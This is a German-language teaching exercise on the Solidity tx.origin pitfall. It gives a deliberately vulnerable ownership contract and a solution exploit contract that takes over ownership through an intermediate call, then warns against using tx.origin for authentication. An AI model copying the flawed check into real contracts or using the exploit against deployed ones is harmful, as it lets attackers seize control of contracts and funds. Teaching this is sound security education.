Tx.origin
Gegeben ist folgender Smart Contract:
Sie finden den Code auch in der Datei 02_TX_Origin_Vulnerable.sol.
pragma solidity ^0.8.26;
contract OwnerContract{
address public owner;
address public txOrigin;
address public msgSender;
constructor() {
owner = msg.sender;
}
function claimOwnership(address _owner) public{
txOrigin = tx.origin;
msgSender = msg.sender;
if(tx.origin != msg.sender){
owner = _owner;
}
}
}
Versuchen Sie, eine beliebige Adresse als owner einzutragen.
Lösung
Entscheident ist der Unterschied zwischen tx.origin und msg.sender.
- msg.sender: Ergebnis kann Contract oder EOA sein.
- tx.origin: Ergebnis kann nur EOA sein. Nur EOAs können Transaktionen senden.
Betrachten der Call-Kette A->B->C→D
In D ist msg.sender gleich C
In D ist tx.origin gleich A (also der EOA, der eine TX an einen Contract B geschickt hat)
Um dies umzusetzen, wird ein neuer Contract OwnerExploit erstellt. Dieser ruft den Contract Owner auf.
pragma solidity ^0.8.26;
// Interface deklarieren, um mit dem Contract interagieren zu können.
abstract contract OwnerContract{
function claimOwnership(address _owner) public virtual;
}
contract ClaimOwnershipExploit{
OwnerContract public ownyContract;
constructor() public{
ownyContract = OwnerContract(0x6A3c....); // Hier Adresse des OwnerContracts einfügen.
}
function changeOwnershipt() public{
ownyContract.claimOwnership(0xdD870.....); // Hier eine beliebige Adresse eintragen, die als neuer Owner eingetragen werden soll.
}
}
Sie finden den Code auch in der Datei 02_TX_Origin_Exploit.sol.
tx.origin sollte nie! zur Authentifikation genutzt werden, da ein Angreifer-Smart-Contract diese Adresse weiterreichen kann, ohne dass Sie davon erfahren.